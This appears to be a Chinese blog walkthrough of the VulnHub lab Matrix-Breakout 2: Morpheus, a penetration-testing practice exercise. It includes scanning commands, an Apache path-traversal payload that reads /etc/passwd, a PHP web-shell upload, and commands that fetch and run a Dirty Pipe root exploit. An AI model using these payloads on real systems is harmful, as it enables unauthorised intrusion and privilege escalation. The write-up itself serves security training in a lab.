【vulnhub靶场】MATRIX-BREAKOUT: 2 MORPHEUS

原创已于 2023-06-06 08:23:07 修改 · 1.7k 阅读

CC 4.0 BY-SA版权

文章标签：

于 2023-06-05 23:26:36 首次发布

2 篇文章

订阅专栏

文章描述了一次模拟的渗透测试过程，从信息收集开始，包括网段扫描、二层和三层探测，发现了Apache和NGINX的潜在漏洞。尝试了基本认证的字典爆破和已知漏洞利用，然后通过文件上传进行后渗透测试，最终目标是权限提升至root。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

描述：

这是《黑客帝国》系列的第二部，副标题是《沉睡魔咒:1》。它的主题是回到第一部《黑客帝国》。你扮演的角色是Trinity，试图调查尼布甲尼撒号上的一台电脑，Cypher把其他人都锁在了电脑之外，这台电脑拥有解开谜团的钥匙。

难度:中等难度

在这里插入图片描述

使用net网卡，查看网段：

在这里插入图片描述
网段为：192.168.200.0/24

netdiscover -i eth0 -r 192.168.200.0/24

在这里插入图片描述
192.168.200.1为物理机地址
192.168.200.2为net网卡网关
192.168.200.254为net网卡dhcp地址
靶机地址：192.168.200.134

nmap -sV 192.168.200.134

在这里插入图片描述
扫描再次确认：

访问web：
查看指纹：

联想到basic认证：

basic认证：

目录枚举：

加上-r参数继续枚举

在这里插入图片描述

在这里插入图片描述
这个应该有东西

再用kali的字典枚举一次：

发现有刚刚没有找到的文件：

这里可能是一个突破口：

生成字典：
在这里插入图片描述

在这里插入图片描述
爆破没成功：

使用apache漏洞利用：（失败）在目录爆破时已经注定失败

poc：
/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/etc/passwd

在这里插入图片描述
这里先放弃利用已知漏洞查看一下F12：

这里用了webrtc的api：
这里还有一张图片，之前忽略了她的存在：
在这里插入图片描述
使用工具看看里面有没有藏东西：
先记事本打开：
看样子里面有东西

丢到winhex中分析：
在这里插入图片描述
附带一些信息可能可能后面有用：
试一下刚刚找到的界面：

后面跟的文件名可能是一个文件写入点：

给一个php一句话写入测试：
在这里插入图片描述

查看用户：

权限提升：
上传工具查找可以利用的提权漏洞：
https://github.com/carlospolop/PEASS-ng
查看存在漏洞利用：
在这里插入图片描述

使用脚本提权：

git clone https://github.com/imfiver/CVE-2022-0847.git
chmod 777 Dirty-Pipe.sh
bash Dirty-Pipe.sh

在这里插入图片描述

修改root后我们进去开启root的登录权限：
在这里插入图片描述

在这里插入图片描述